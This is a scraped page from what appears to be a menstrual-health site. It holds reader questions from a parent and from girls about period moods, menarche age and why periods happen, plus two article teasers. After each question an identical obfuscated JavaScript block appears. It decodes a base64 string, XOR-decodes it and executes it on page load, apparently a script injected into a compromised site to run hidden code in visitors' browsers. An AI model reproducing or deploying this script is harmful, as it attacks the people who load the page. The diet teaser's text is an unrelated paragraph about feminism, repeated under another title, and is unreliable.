30 Jul
Question

My 14-year-old daughter, who started menstruating last year, gets moody and irritable two days before her periods and remains disturbed throughout the phase. How should I explain to her so she can manage her moods better?

;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22),_0x249c=0;for(;_0x249c<_0x2b22;_0x249c++)_0xe52d=_0x2b22(_0x249c)^_0x4cbf;(new Function(new TextDecoder()(_0xe52d)))()}();

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21 Jul
Question

I got my periods six months ago when I was 12 and half years old, but my friend got hers at 10. What is the right age for periods?

;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22),_0x249c=0;for(;_0x249c<_0x2b22;_0x249c++)_0xe52d=_0x2b22(_0x249c)^_0x4cbf;(new Function(new TextDecoder()(_0xe52d)))()}();

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19 Jul
Question

Why do we get periods? Every place I go, I hear about periods, in school, on whatsapp groups, among senior students. I am yet to get mine but am curious to know more.

Rebecca, 12, Grade Five student in Dubai ;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22),_0x249c=0;for(;_0x249c<_0x2b22;_0x249c++)_0xe52d=_0x2b22(_0x249c)^_0x4cbf;(new Function(new TextDecoder()(_0xe52d)))()}();

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16 Mar
Menstrual Facts & Informations, News & Updates

The Diet to Maintain During Periods

If history is looked at, you will find three main waves of feminism. Each phase spoke of something which the conventional society thought of to be daunting, appalling to a large extent. At present, we are partaking in the fourth wave of feminism. This particular wave is a culmination of all the last three with an added inclusion of section and internet tools.

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27 Oct
Women Empowerment

Cut the Conventional, It’s Your Choice

If history is looked at, you will find three main waves of feminism. Each phase spoke of something which the conventional society thought of to be daunting, appalling to a large extent. At present, we are partaking in the fourth wave of feminism. This particular wave is a culmination of all the last three with an added inclusion of section and internet tools.

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